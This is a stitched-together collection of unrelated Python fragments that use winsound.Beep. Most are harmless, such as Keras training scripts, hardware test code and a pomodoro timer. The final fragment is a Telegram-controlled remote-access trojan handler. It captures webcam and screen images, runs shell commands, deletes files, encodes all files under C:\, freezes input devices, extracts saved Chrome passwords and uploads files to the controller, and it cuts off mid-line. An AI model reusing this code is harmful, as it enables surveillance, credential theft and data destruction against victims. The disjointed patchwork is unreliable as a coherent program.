# - 指标(metric):在训练过程和测试过程中需要监控的指标,下面这个例子中使用精度(即正确分类的图像所占的比例) network.compile(optimizer = 'rmsprop', loss = 'categorical_crossentropy', metrics = ['accuracy']) # 图像数据预处理,将二维图片数据转换为一维数据,再将数据归一化 # train_images = train_images.reshape((60000, 28 * 28)).astype('float32') / 255 # test_images = test_images.reshape((10000, 28 * 28)).astype('float32') / 255 train_images = train_images.reshape((60000, 28 * 28)) / 255. test_images = test_images.reshape((10000, 28 * 28)) / 255. # 准备标签(对标签进行分类编码) from keras.utils import to_categorical train_labels = to_categorical(train_labels) test_labels = to_categorical(test_labels) # 训练网络 network.fit(train_images, train_labels, epochs = 5, batch_size = 128) test_loss, test_acc = network.evaluate(test_images, test_labels) print("test_loss:", test_loss) print('test_acc:', test_acc) # train_loss, train_acc = network.fit(train_images, train_labels, epochs = 5, batch_size = 128) # print('train_loss:', train_loss) # print("train_acc:", train_acc) # 运行结束的提醒 winsound.Beep(600, 500) if len(plt.get_fignums()) != 0: plt.show() pass
model.add(Dense(50, activation='softplus')) model.add(Dense(1)) model.compile(loss='mean_squared_error', optimizer='adamax') return model # fix random seed for reproducibility seed = 20 numpy.random.seed(seed) # evaluate model with standardized dataset estimator = KerasRegressor(build_fn=baseline_model, epochs=200, batch_size=3, verbose=0) KFold(n_splits=12, random_state=seed) estimator.fit(x_train, y_train) prediction = estimator.predict(x_test) print(r2_score(y_test, prediction)) duration = 1000 # milliseconds freq = 600 # Hz winsound.Beep(freq, duration) """ def baseline_model_NHUF(): # create model model = Sequential() model.add(Dense(9, input_dim=6, activation='relu')) model.add(Dense(1)) model.compile(loss='mean_squared_error', optimizer='adamax') return model x_train_NHUF, x_test_NHUF, y_train_NHUF, y_test_NHUF = train_test_split(degerler, Nuf, test_size=0.10, random_state=3) # fix random seed for reproducibility seed = 20 numpy.random.seed(seed) # evaluate model with standardized dataset estimator = KerasRegressor(build_fn=baseline_model_NHUF, epochs=200, batch_size=4, verbose=0)
import winsound freaquency = 2500 duration = 9000 winsound.Beep(freaquency, duration)
def beepsound(): fr = 800 # range : 37 ~ 32767 du = 500 # 1000 ms ==1second sd.Beep(fr, du) # winsound.Beep(frequency, duration)
import winsound print("369 게임 시작") n = 1 while n <= 50: if n % 3 == 0 or "3" in str(n): print("박수") winsound.Beep(500, 300) else: print(n) n += 1 print("게임 끝.")
for key in memo: csv_list = memo[key] lang = key.split('-')[1] header = ['English_Filename', lang + '_Filename'] df = pd.DataFrame(csv_list) filename = month + "-" + year + "-" + key + ".csv" if (not os.path.exists(filename)): df.to_csv(path_parallel_csv + month + "-" + key + ".csv", index=False, header=header, mode='a') else: df.to_csv(path_parallel_csv + month + "-" + key + ".csv", index=False, header=False, mode='a') end = time.time() if __name__ == "__main__": driver = get_driver() dri = get_driver() populate_data(driver, dri, 'All', 'December', '2019') winsound.Beep(2500, 100)
draw = False clock.tick(fps) screen.fill((0,0,0)) # bubble for ipass in range(len(data)): for i in range(len(data)-1-ipass): if step == frame_count: if data[i] > data[i+1]: tmp = data[i] tmp_i = i if enable_sound: winsound.Beep(int(np.interp(tmp, [0,data_max], [5000,8000])), 100) # this func blocks the thread :( data[i] = data[i+1] data[i+1] = tmp step += 1 elif step < frame_count and done is False: done = True tmp_i = -1 print("Sorted",data) for i,pt in enumerate(data): pygame.draw.rect(screen,(0,255,0) if i == tmp_i else (255,0,0),(gap*i+x_offset,y_offset-pt,10,pt)) pygame.display.flip()
detectport.parity = 'N' detectport.bytesize = 8 detectport.stopbits = 1 detectport.timeout = 0.6 detectport.open() detectport.setDTR(True) detectport.setRTS(True) while(1): if detectport.inWaiting()>0: data = detectport.readall() data = str(data,encoding = "utf-8") print(data) if data == 'detect ready\n': time.sleep(1) cmd = 'ST1E' print(cmd) detectport.write(bytes(cmd,encoding = "utf-8")) if((data.find('SBQE')!=-1) or (data.find('SDE')!=-1)): #time.sleep(1) cmd = 'SR1E' print(cmd) detectport.write(bytes(cmd,encoding = "utf-8")) if(data.find('SXE')!=-1): winsound.Beep(3000,1000) cmd = input("error! please input cmd:") detectport.write(bytes(cmd,encoding = "utf-8"))
# # image.save(join(testdatasetpath, "pic_" + str(i) + ".png")) # pathtodataset = "../../../silentcam/dataset40/" from LogTimes import TimingsTot t = TimingsTot(pathtodataset + "rgb_time_logfile.log") avg = AvgRGB_savememory(pathtodataset) avg.gather_pictures_names() t.log("Loaded names") avg.load_algs() t.log("Loaded aligments") avg.align_images(debug = True) t.log("Aligned Images") avg.average(mode = "Mean", aligned = True, debug = True) t.log("Averaged Images") avg.save_avg() import winsound Freq = 2500 # Set Frequency To 2500 Hertz Dur = 1000 # Set Duration To 1000 ms == 1 second winsound.Beep(Freq,Dur)
if decision == True: t_fin = t_now + dt.timedelta(0, t_pom + Ldelta_sec) else: t_fin = t_now + dt.timedelta(0, t_pom + Sdelta_sec) elif t_fut <= t_now <= t_fin: print('Break time!') #Pomodoro and break finished. Check if ready for another pomodoo! else: print('Third tnow > tfut - Finished') # Ring a bell (with print('\a') to alert of end of program. print('\a') # Annoy! for i in range(10): winsound.Beep((i + 100), 500) usr_ans = messagebox.askyesno( "Pomodoro Finished!", "Would you like to start another pomodoro?") #usr_ans = input("Timer has finished. \nWould you like to start another pomodoro? \nY/N: ") total_pomodoros += 1 if usr_ans == True: # user wants another pomodoro! Update values to indicate new timeset. t_now = dt.datetime.now() t_fut = t_now + dt.timedelta(0, t_pom) t_con = t_now + dt.timedelta(0, t_pom + condelta_sec * 2) continue elif usr_ans == False: print( f'Pomodoro timer complete! \nYou have completed {total_pomodoros} pomodoros today.' )
import winsound winsound.Beep(440, 1000)
def LMxE(worker, lock, collect_obs, collect_examples, episod_counter, step_counter, executor_model, internal_step_counter_best, executor_counter, args): # Set Parameters executors_n = args["executors_n"] max_episodes = args["max_episodes"] env_name = args["env_name"] state_n = args["state_n"] action_n = args["action_n"] common_layers_n = args["common_layers_n"] value_layers_n = args["value_layers_n"] policy_layers_n = args["policy_layers_n"] batch_size = args["batch_size"] lr_alpha = args["lr_alpha"] lr_alpha_power = args["lr_alpha_power"] lr_alpha_limit = args["lr_alpha_limit"] prob_advarse_state_initial = args["prob_advarse_state_initial"] prob_advarse_state_type_multiplier = args["prob_advarse_state_type_multiplier"] internal_step_counter_limit = args["internal_step_counter_limit"] experience_batch_size = args["experience_batch_size"] reward_negative = args["reward_negative"] model_alignment_frequency = args["model_alignment_frequency"] minimum_model_update_frequency = args["minimum_model_update_frequency"] # Assign EXECUTOR to all workers if worker >= 0: time_start = time.time() print("Starting E:", worker) # Establish Environment env = gym.make(env_name).unwrapped #unwrapped to access the behind the scenes elements of the environment # Define A3C Model for Executors inputs_executor = tf.keras.Input(shape=(state_n,)) common_network_executor = Dense(common_layers_n[0], activation='relu')(inputs_executor) common_network_executor = Dense(common_layers_n[1], activation='relu')(common_network_executor) common_network_executor = Dense(common_layers_n[2], activation='relu')(common_network_executor) policy_network_executor = Dense(policy_layers_n[0], activation='relu')(common_network_executor) policy_network_executor = Dense(policy_layers_n[1], activation='relu')(policy_network_executor) policy_network_executor = Dense(policy_layers_n[2], activation='relu')(policy_network_executor) value_network_executor = Dense(value_layers_n[0], activation='relu')(common_network_executor) value_network_executor = Dense(value_layers_n[1], activation='relu')(value_network_executor) value_network_executor = Dense(value_layers_n[2], activation='relu')(value_network_executor) logits_executor = Dense(action_n)(policy_network_executor) values_executor = Dense(1)(value_network_executor) model_executor = Model(inputs=inputs_executor, outputs=[values_executor, logits_executor]) # Define A3C Models for Learners if worker == 0: # # Define BASE Model - Target inputs_base = tf.keras.Input(shape=(state_n,)) common_network_base = Dense(common_layers_n[0], activation='relu',name="1")(inputs_base) common_network_base = Dense(common_layers_n[1], activation='relu',name="2")(common_network_base) common_network_base = Dense(common_layers_n[2], activation='relu',name="3")(common_network_base) policy_network_base = Dense(policy_layers_n[0], activation='relu',name="7")(common_network_base) policy_network_base = Dense(policy_layers_n[1], activation='relu',name="8")(policy_network_base) policy_network_base = Dense(policy_layers_n[2], activation='relu',name="9")(policy_network_base) value_network_base = Dense(value_layers_n[0], activation='relu',name="4")(common_network_base) value_network_base = Dense(value_layers_n[1], activation='relu',name="5")(value_network_base) value_network_base = Dense(value_layers_n[2], activation='relu',name="6")(value_network_base) values_base = Dense(1,name="10")(value_network_base) logits_base = Dense(action_n,name="11")(policy_network_base) model_base = Model(inputs=inputs_base, outputs=[values_base, logits_base]) # Define MAIN Model - Trainable Model inputs_main = tf.keras.Input(shape=(state_n,)) common_network_main = Dense(common_layers_n[0], activation='relu')(inputs_main) common_network_main = Dense(common_layers_n[1], activation='relu')(common_network_main) common_network_main = Dense(common_layers_n[2], activation='relu')(common_network_main) policy_network_main = Dense(policy_layers_n[0], activation='relu')(common_network_main) policy_network_main = Dense(policy_layers_n[1], activation='relu')(policy_network_main) policy_network_main = Dense(policy_layers_n[2], activation='relu')(policy_network_main) value_network_main = Dense(value_layers_n[0], activation='relu')(common_network_main) value_network_main = Dense(value_layers_n[1], activation='relu')(value_network_main) value_network_main = Dense(value_layers_n[2], activation='relu')(value_network_main) logits_main = Dense(action_n)(policy_network_main) values_main = Dense(1)(value_network_main) model_main = Model(inputs=inputs_main, outputs=[values_main, logits_main]) # Define Optimizer optimizer = tfa.optimizers.RectifiedAdam(lr_alpha) lock.acquire() executor_model.append(model_main.get_weights()) # the first call MUST be append to create the entry [0] print("Saved Model", worker, len(executor_model)) lock.release() memory_buffer = np.full(state_n+4,0.0) counter_learninig = 0 while episod_counter.value < max_episodes: # Load Model if len(executor_model) > 0: lock.acquire() model_weights = executor_model[0] lock.release() model_executor.set_weights(model_weights) # Collect Examples & Save them in the Central Observation Repository current_state = env.reset() # ENSURE EXPLORATION OF advarse STATES if episod_counter.value <= 1: prob_advarse_state = prob_advarse_state_initial else: prob_advarse_state = np.clip(prob_advarse_state_initial/math.log(episod_counter.value,5), 0.05, 0.2) prob_random_state = 1-prob_advarse_state*4 # CartPole position_start: # 0: Close to the Left Edge # 1: Close to the Right Edge # 2: Normal, random start (env.restart()) # 3: Leaning Heavilly to the Left # 4: Leaning Heavilly to the Right # Choose one of the 5 scenarios with probabilities defined in p=() pos_start = np.random.choice(5,p=(prob_advarse_state+prob_advarse_state_type_multiplier*prob_advarse_state, prob_advarse_state+prob_advarse_state_type_multiplier*prob_advarse_state, prob_random_state, prob_advarse_state-prob_advarse_state_type_multiplier*prob_advarse_state, prob_advarse_state-prob_advarse_state_type_multiplier*prob_advarse_state)) if pos_start == 0 or pos_start == 5: current_state[0] = -1.5 # -2.4 MIN if pos_start == 1 or pos_start == 6: current_state[0] = 1.5 # -2.4 MAX if pos_start == 3: current_state[2] = -0.150 #-0.0.20943951023931953 MIN if pos_start == 4: current_state[2] = 0.150 #0.0.20943951023931953 MAX env.state = current_state # Custom State Representation Adjustment to help agent learn to be closer to the center current_state = np.append(current_state,current_state[0]*current_state[0]) observations = np.empty(state_n+3) done = False internal_step_counter = 0 while done == False and internal_step_counter <= internal_step_counter_limit: values, logits = model_executor(tf.convert_to_tensor(np.array(np.expand_dims(current_state,axis=0)), dtype=tf.float32)) stochastic_action_probabilities = tf.nn.softmax(logits) action = np.random.choice(action_n, p=stochastic_action_probabilities.numpy()[0]) next_state, reward, done, info = env.step(action) next_state = np.append(next_state,next_state[0]*next_state[0]) # Add desired-behaviour incentive to the reward function R_pos = 1*(1-np.abs(next_state[0])/2.4) # 2.4 max value ### !!! in documentation it says 4.8 but failes beyound 2.4 R_ang = 1*(1-np.abs(next_state[2])/0.20943951023931953) ### !!! in documentation it says 0.418 max value reward = reward + R_pos + R_ang # Custom Fail Reward to speed up Learning of conseqences of being in advarse position if done == True: reward = reward_negative # ST Original -1 current_observation = np.append(current_state,(reward, done, action)) observations = np.vstack((observations, current_observation)) current_state = next_state internal_step_counter += 1 if internal_step_counter == 1: observations = observations[1:] if done == True or internal_step_counter == internal_step_counter_limit: observations = observations[-np.minimum(observations.shape[0], 256):] exp_len = observations.shape[0] exp_indices = np.array(range(exp_len)) + 1 rewards = np.flip(observations[:,5]) discounted_rewards = np.empty(exp_len) reward_sum = 0 if observations[-1,-2] == 0: observations[-1,-2] = 2 gamma = np.full(exp_len, 0.99) else: #print("exp_indices", exp_indices) gamma = np.clip(0.0379 * np.log(exp_indices-1) + 0.7983, 0.5, 0.99) if observations[-1,-2] == 1: gamma[0] = 1 for step in range(exp_len): reward_sum = rewards[step] + gamma[step]*reward_sum discounted_rewards[step] = reward_sum discounted_rewards = np.flip(discounted_rewards) observations = np.hstack((observations,np.expand_dims(discounted_rewards, axis = 1))) lock.acquire() collect_obs.put(observations) lock.release() observations = np.empty(state_n+3) # Update Counters to Track Progress lock.acquire() episod_counter.value += 1 lock.release() lock.acquire() executor_counter.value += 1 lock.release() print("Ending Executor:", worker, "Episod", episod_counter.value, "Initial State", pos_start, "Steps:", internal_step_counter) if internal_step_counter > internal_step_counter_best.value: internal_step_counter_best.value = internal_step_counter print("############################## BEST EPISOD LENGTH:", internal_step_counter, "Executor:", worker) if internal_step_counter_best.value >= 50000: print("\nREACHED GOAL of 50K Steps in", internal_step_counter, "steps; Learning Iterations (Not Available); in",time.time()-time_start, "seconds \n") for i in range(10): winsound.Beep(500,500) # Assign MEMORIZER to worker 0 if worker == 0: while executor_counter.value < executors_n: # Starting Condition -- Allow to generate first traing example pass while collect_obs.qsize() > 0: #lock.acquire() exp_temp = collect_obs.get() #lock.release() memory_buffer = np.vstack((memory_buffer,exp_temp)) memory_buffer = memory_buffer[-np.minimum(memory_buffer.shape[0],experience_batch_size*executors_n):,:] batch_size_min = np.minimum(batch_size,memory_buffer.shape[0]) runs = memory_buffer.shape[0] // np.minimum(memory_buffer.shape[0],batch_size_min) + 1 #minimum_model_update_frequency = np.minimum(minimum_model_update_frequency + 16,256) runs = np.maximum(minimum_model_update_frequency, runs) for i in range(runs): sample_index = np.random.choice(memory_buffer.shape[0],np.minimum(memory_buffer.shape[0],batch_size_min),replace=False) sample = memory_buffer[sample_index, :] #lock.acquire() collect_examples.put(sample) #lock.release() #""" # Assign LEARNER to worker 0 # Adjust Monotonically Decreasing Learning Rate #lock.acquire() next_lr_alpha = lr_alpha*np.power(lr_alpha_power,episod_counter.value * 1) #lock.release() if next_lr_alpha < lr_alpha_limit: next_lr_alpha = lr_alpha_limit optimizer.learning_rate = next_lr_alpha #""" # Initialize LEARNER while collect_examples.qsize() > 0: # and episod_counter.value < max_episodes: #lock.acquire() example = collect_examples.get() #lock.release() """ # Adjust Monotonically Decreasing Learning Rate next_lr_alpha = lr_alpha*np.power(lr_alpha_power,counter_learninig) if next_lr_alpha < lr_alpha_limit: next_lr_alpha = lr_alpha_limit optimizer.learning_rate = next_lr_alpha """ with tf.GradientTape() as tape: values, logits = model_base(tf.convert_to_tensor(example[:,:5], dtype=tf.float32)) advantage = tf.convert_to_tensor(np.expand_dims(example[:,-1],axis=1), dtype=tf.float32) - values value_loss = advantage ** 2 # this is a term to be minimized in trainig policy = tf.nn.softmax(logits) entropy = tf.reshape(tf.nn.softmax_cross_entropy_with_logits(labels=policy, logits=logits), [-1,1]) policy_loss = tf.reshape(tf.nn.sparse_softmax_cross_entropy_with_logits(labels=list(example[:,-2].astype(int)), logits=logits), [-1,1]) policy_loss *= tf.stop_gradient(advantage) # advantage will be exluded from computation of the gradient; thsi allows to treat the values as constants policy_loss -= 0.01 * entropy # entropy adjustment for better exploration total_loss = tf.reduce_mean((0.5 * value_loss + policy_loss)) grads = tape.gradient(total_loss, model_base.trainable_weights) optimizer.apply_gradients(zip(grads, model_main.trainable_weights)) counter_learninig += 1 model_base.set_weights(model_main.get_weights()) ### the THREADED IMPLEMENTATION IS SYNCHRONIZED AT EACH STEP!!! #lock.acquire() executor_model[0] = model_main.get_weights() #lock.release() #if counter_learninig % model_alignment_frequency == 0: model_base.set_weights(model_main.get_weights()) #lock.acquire() executor_counter.value = 0 #lock.release() print("LEARINING ITERATION:", counter_learninig,"\n") if worker > 0: while executor_counter.value > 0: pass print("FINAL EPISODE -- Best Episod Length:", internal_step_counter_best.value) print("Ending L:", worker) print("Ending Worker:", worker) for i in range(10): winsound.Beep(1500,1500)
def music(): for i in range(5): winsound.Beep(300, 100) winsound.Beep(300, 100) winsound.Beep(300, 100) winsound.Beep(800, 100)
def alertSound(sec): for _ in range(sec): winsound.Beep(800, 500) winsound.Beep(1000, 500)
return ident else: return ids[0] ######################################################################################################################################## #url = "http://odoradita.com:8069" #db = "test3_CADASA_main" url = "http://localhost:8069" db = "t14_CADASA_03" username = '******' password = "******" max_registros = 501 ################################### import winsound freq = 2500 # Set frequency To 2500 Hertz dur = 1000 # Set duration To 1000 ms == 1 second print("Beep:", winsound.Beep(freq, dur)) #Para DOS/Windows os.system ("cls") print("INICIANDO RUTINA DE SINCRONIZACION DE GUIAS") common = xmlrpc.client.ServerProxy('{}/xmlrpc/2/common'.format(url)) print("common version: ") print(common.version()) #User Identifier uid = common.authenticate(db, username, password, {}) print("uid: ",uid) # Calliing methods models = xmlrpc.client.ServerProxy('{}/xmlrpc/2/object'.format(url)) models.execute_kw(db, uid, password, 'res.partner', 'check_access_rights',
# Skip some of the starting bytes byte = file.read(500) while byte != b"": # Keep reading every byte byte = file.read(1) # Calculate the frequency we will be playing hz = byte[0] * step # Show every value on one continuous line print(hz, end=' ', flush=True) if hz == 0: # Keep silent when value is zero sleep(beep_duration / 1000) else: # Play the current byte winsound.Beep(int(hz) + beep_offset, beep_duration) if __name__ == "__main__": # Only if our file is executed directly print(f"Playing '{file_name}'") # Play two beeps to acknowledge start winsound.Beep(440, 300) sleep(0.1) winsound.Beep(440, 800) try: main() except KeyboardInterrupt: # Intercept Ctrl+C pass finally: # Aknowledge end with a long beep winsound.Beep(440, 1000)
# ---------------------------------------------------------------------- if __name__ == '__main__': # 参数说明: # model_type = "Bidirectional+LSTM" # Bidirectional+LSTM:双向 LSTM # model_type = "Conv1D" # Conv1D:1 维卷积神经网络 # model_type = "Conv1D+LSTM" # Conv1D+LSTM:1 维卷积神经网络 + LSTM # model_type = "GlobalMaxPooling1D" # GlobalMaxPooling1D:1 维全局池化层 # model_type = "GlobalMaxPooling1D+MLP" # GlobalMaxPooling1D+MLP:1 维全局池化层 + 多层感知机 # model_type = "LSTM" # LSTM:循环神经网络 # model_type = "MLP" # MLP:多层感知机 # ---------------------------------------------------------------------- # 定义全局通用变量 file_name = '../../data/tf_idf/train_data_all_tf_idf_v.csv' model_type = 'Conv1D' RMSProp_lr = 5e-04 epochs = 10 batch_size = 256 # ---------------------------------------------------------------------- # 定义全局定制变量 max_len = 128 # 64:803109,128:882952 个用户;64:1983350,128:2329077 个素材 embedding_size = 32 creative_id_window = creative_id_step_size * 1 creative_id_begin = creative_id_step_size * 0 creative_id_end = creative_id_begin + creative_id_window # 运行训练程序 main() # 运行结束的提醒 winsound.Beep(900, 500) winsound.Beep(600, 1000)
def readfun(f): ret = pandas.read_csv(f, index_col=False) winsound.Beep(2500, 300) return ret
def _do_play(track): for freq, ms in track: winsound.Beep(freq, ms)
def Warnning_Beep(self, flag): while self.a: if (1 == flag): winsound.Beep(600, 500)
def main(): slave_addr = 0x23 # I2C slave address userdefinedir = "TDC_TOT_Scan_Step=2ps_PulseStrobe_0x03" ## Creat a directory named path with date of today today = datetime.date.today() todaystr = today.isoformat() + "_Standalone_TDC_Test_Results" try: os.mkdir(todaystr) print("Directory %s was created!" % todaystr) except FileExistsError: print("Directory %s already exists!" % todaystr) userdefine_dir = todaystr + "./%s" % userdefinedir try: os.mkdir(userdefine_dir) except FileExistsError: print("User define directories already created!!!") rm = visa.ResourceManager() print(rm.list_resources()) inst = rm.open_resource('GPIB0::10::INSTR') # connect to SOC print(inst.query("*IDN?")) # Instrument ID inst.write(":OUTPut1:STATE ON") # Enable CH1 output inst.write(":SOURce:FUNCtion1:SHAPe PULSe") # Pulse mode ## setting parameters Pulse_Strobe = 0x03 # 0x03: 3.125 ns Cal Code Board_Num = 1 # Board Number testMode = 0 # 0: nromal mode 1: test mode polaritySel = 1 # 0: high power mode, 1: low power mode Total_point = 2 # total fetch data = Total_point * 50000 fetch_data = 1 reg_val = [] ETROC1_TDCReg1 = ETROC1_TDCReg() ## GRO Test Contorl ETROC1_TDCReg1.set_GRO_Start(1) ETROC1_TDCReg1.set_GRO_TOA_CK(1) ETROC1_TDCReg1.set_GRO_TOT_CK(1) ETROC1_TDCReg1.set_GROout_disCMLDriverBISA(0) ETROC1_TDCReg1.set_GROout_AmplSel(7) ETROC1_TDCReg1.set_GRO_TOARST_N(1) ETROC1_TDCReg1.set_GRO_TOTRST_N(1) ## Clock 40MHz TX output setting ETROC1_TDCReg1.set_Clk40Mout_AmplSel(7) ETROC1_TDCReg1.set_Pulse_enableRx(1) ## Data output setting ETROC1_TDCReg1.set_Dataout_AmplSel(7) ETROC1_TDCReg1.set_Dataout_Sel(1) ## Strobe pulse setting ETROC1_TDCReg1.set_Pulse_Sel(Pulse_Strobe) ## DMRO setting ETROC1_TDCReg1.set_DMRO_testMode(0) ETROC1_TDCReg1.set_DMRO_enable(1) ## enable Scrambler Enable_FPGA_Descrablber(1) ## Enable FPGA Firmware Descrambler ETROC1_TDCReg1.set_DMRO_resetn(1) ETROC1_TDCReg1.set_DMRO_revclk(0) ## TDC setting ETROC1_TDCReg1.set_TDC_resetn(1) ETROC1_TDCReg1.set_TDC_testMode(testMode) ETROC1_TDCReg1.set_TDC_autoReset(0) ETROC1_TDCReg1.set_TDC_enable(1) ETROC1_TDCReg1.set_TDC_level(1) ETROC1_TDCReg1.set_TDCRawData_Sel(0) ETROC1_TDCReg1.set_TDC_polaritySel( polaritySel) ## 1: low power mode 0: high power mode ETROC1_TDCReg1.set_TDC_timeStampMode(0) reg_val = ETROC1_TDCReg1.get_config_vector() print("I2C write in data:") print(reg_val) for i in range(len(reg_val)): iic_write(1, slave_addr, 0, i, reg_val[i]) iic_read_val = [] for i in range(len(reg_val)): iic_read_val += [iic_read(0, slave_addr, 1, i)] print("I2C read back data:") print(iic_read_val) # compare I2C write in data with I2C read back data if iic_read_val == reg_val: print("Wrote into data matches with read back data!") winsound.Beep(1000, 500) else: print("Wrote into data doesn't matche with read back data!!!!") for x in range(3): winsound.Beep(1000, 500) readonly_reg = [0x21, 0x22, 0x23, 0x24] readonly_val = [] for i in range(len(readonly_reg)): readonly_val += [iic_read(0, slave_addr, 1, readonly_reg[i])] print(readonly_val) TOA_Code = (readonly_val[2] & 0x7) << 7 | ((readonly_val[1] >> 1) & 0x7f) TOT_Code = (readonly_val[1] & 0x1) << 8 | readonly_val[0] Cal_Code = (readonly_val[3] & 0x1f) << 5 | (readonly_val[2] >> 3) & 0x1f print("TOA_Code: %d" % TOA_Code) print("TOT_Code: %d" % TOT_Code) print("Cal_Code: %d" % Cal_Code) for m in range(4741, 5225): width = 0.002 * m print("TOT width: %.3f" % width) inst.write(":SOURce:PULSe:WIDTh1 %sns" % width) time.sleep(0.01) if fetch_data == 1: # fetch data switch time_stamp = time.strftime('%m-%d_%H-%M-%S', time.localtime(time.time())) filename = "TDC_Data_TOT_Width=%.3fns_TestMode=%d_polaritySel=%d_PulseStrobe=%s_B%d_%s_%s.dat" % ( width, testMode, polaritySel, hex(Pulse_Strobe), Board_Num, Total_point * 50000, time_stamp) print(filename) with open("./%s/%s/%s" % (todaystr, userdefinedir, filename), 'w') as infile: data_out = [0] data_out = test_ddr3( Total_point) # num: The total fetch data num * 50000 print("Start store data......") for i in range(len(data_out)): TDC_data = [] for j in range(30): TDC_data += [((data_out[i] >> j) & 0x1)] hitFlag = TDC_data[29] TOT_Code1 = TDC_data[0] << 8 | TDC_data[1] << 7 | TDC_data[ 2] << 6 | TDC_data[3] << 5 | TDC_data[ 4] << 4 | TDC_data[5] << 3 | TDC_data[ 6] << 2 | TDC_data[7] << 1 | TDC_data[8] TOA_Code1 = TDC_data[9] << 9 | TDC_data[ 10] << 8 | TDC_data[11] << 7 | TDC_data[ 12] << 6 | TDC_data[13] << 5 | TDC_data[ 14] << 4 | TDC_data[15] << 3 | TDC_data[ 16] << 2 | TDC_data[17] << 1 | TDC_data[18] Cal_Code1 = TDC_data[19] << 9 | TDC_data[ 20] << 8 | TDC_data[21] << 7 | TDC_data[ 22] << 6 | TDC_data[23] << 5 | TDC_data[ 24] << 4 | TDC_data[25] << 3 | TDC_data[ 26] << 2 | TDC_data[27] << 1 | TDC_data[28] infile.write("%3d %3d %3d %d\n" % (TOA_Code1, TOT_Code1, Cal_Code1, hitFlag))
def handle(msg): chat_id = msg['chat']['id'] if checkchat_id(chat_id): response = '' if 'text' in msg: print('\n\t\tGot message from ' + str(chat_id) + ': ' + msg['text'] + '\n\n') command = msg['text'] if command == '/arp': response = '' bot.sendChatAction(chat_id, 'typing') lines = os.popen('arp -a -N ' + internalIP()) for line in lines: line.replace('\n\n', '\n') response += line elif command == '/capture_webcam': bot.sendChatAction(chat_id, 'typing') camera = cv2.VideoCapture(0) while True: return_value, image = camera.read() gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) cv2.imshow('image', gray) if cv2.waitKey(1) & 0xFF == ord('s'): cv2.imwrite('webcam.jpg', image) break camera.release() cv2.destroyAllWindows() bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('webcam.jpg', 'rb')) os.remove('webcam.jpg') elif command == '/capture_pc': bot.sendChatAction(chat_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif command.startswith('/cmd_exec'): process = Popen(['cmd'], stdin=PIPE, stdout=PIPE) command = command.replace('/cmd_exec', '') if len(command) > 1: process.stdin.write(bytes(command + '\n')) process.stdin.close() lines = process.stdout.readlines() for l in lines: response += l else: response = '/cmd_exec dir' elif command.startswith('/cd'): command = command.replace('/cd ', '') try: os.chdir(command) response = os.getcwd() + '>' except: response = 'No subfolder matching ' + command elif command.startswith('/delete'): command = command.replace('/delete', '') path_file = command.strip() try: os.remove(path_file) response = 'Succesfully removed file' except: try: os.rmdir(path_file) response = 'Succesfully removed folder' except: try: shutil.rmtree(path_file) response = 'Succesfully removed folder and it\'s files' except: response = 'File not found' elif command == '/dns': bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') response += line elif command.startswith('/download'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/download', '') path_file = path_file[1:] if path_file == '': response = '/download C:/path/to/file.name or /download file.name' else: bot.sendChatAction(chat_id, 'upload_document') try: bot.sendDocument(chat_id, open(path_file, 'rb')) except: try: bot.sendDocument( chat_id, open(hide_folder + '\\' + path_file)) response = 'Found in hide_folder: ' + hide_folder except: response = 'Could not find ' + path_file elif command.endswith('code_all'): parentDirectory = 'C:\\' for root, dirs, files in os.walk(parentDirectory): for afile in files: full_path = os.path.join(root, afile) if command.startswith('/en'): encode(full_path) elif command.startswith('/de') and full_path.endswith( '.nxr'): #our extension (been encoded) decode(full_path) response = 'Files ' + command[1:3] + 'coded succesfully.' elif command.startswith('/cp'): command = command.replace('/cp', '') command = command.strip() if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] copyfile(file1, file2) response = 'Files copied succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command.endswith('freeze_keyboard'): global keyboardFrozen keyboardFrozen = not command.startswith('/un') hookManager.KeyAll = lambda event: not keyboardFrozen response = 'Keyboard is now ' if keyboardFrozen: response += 'disabled. To enable, use /unfreeze_keyboard' else: response += 'enabled' elif command.endswith('freeze_mouse'): global mouseFrozen mouseFrozen = not command.startswith('/un') hookManager.MouseAll = lambda event: not mouseFrozen hookManager.HookMouse() response = 'Mouse is now ' if mouseFrozen: response += 'disabled. To enable, use /unfreeze_mouse' else: response += 'enabled' elif command == '/get_chrome': con = sqlite3.connect( os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data' ) cursor = con.cursor() cursor.execute( "SELECT origin_url,username_value,password_value from logins;" ) for users in cursor.fetchall(): response += 'Website: ' + users[0] + '\n' response += 'Username: '******'\n' response += 'Password: '******'\n\n' # """ # pass #elif command.startswith('/hear'): # SECONDS = -1 # try: # SECONDS = int(command.replace('/hear','').strip()) # except: # SECONDS = 5 # # CHANNELS = 2 # CHUNK = 1024 # FORMAT = pyaudio.paInt16 # RATE = 44100 # # audio = pyaudio.PyAudio() # bot.sendChatAction(chat_id, 'typing') # stream = audio.open(format=FORMAT, channels=CHANNELS, # rate=RATE, input=True, # frames_per_buffer=CHUNK) # frames = [] # for i in range(0, int(RATE / CHUNK * SECONDS)): # data = stream.read(CHUNK) # frames.append(data) # stream.stop_stream() # stream.close() # audio.terminate() # # wav_path = hide_folder + '\\mouthlogs.wav' # waveFile = wave.open(wav_path, 'wb') # waveFile.setnchannels(CHANNELS) # waveFile.setsampwidth(audio.get_sample_size(FORMAT)) # waveFile.setframerate(RATE) # waveFile.writeframes(b''.join(frames)) # waveFile.close() # bot.sendChatAction(chat_id, 'upload_document') # #bot.sendAudio(chat_id, audio=open(wav_path, 'rb')) elif command == '/ip_info': bot.sendChatAction(chat_id, 'find_location') info = requests.get('http://ipinfo.io').text #json format location = (loads(info)['loc']).split(',') bot.sendLocation(chat_id, location[0], location[1]) import string import re response = 'External IP: ' response += "".join( filter(lambda char: char in string.printable, info)) response = 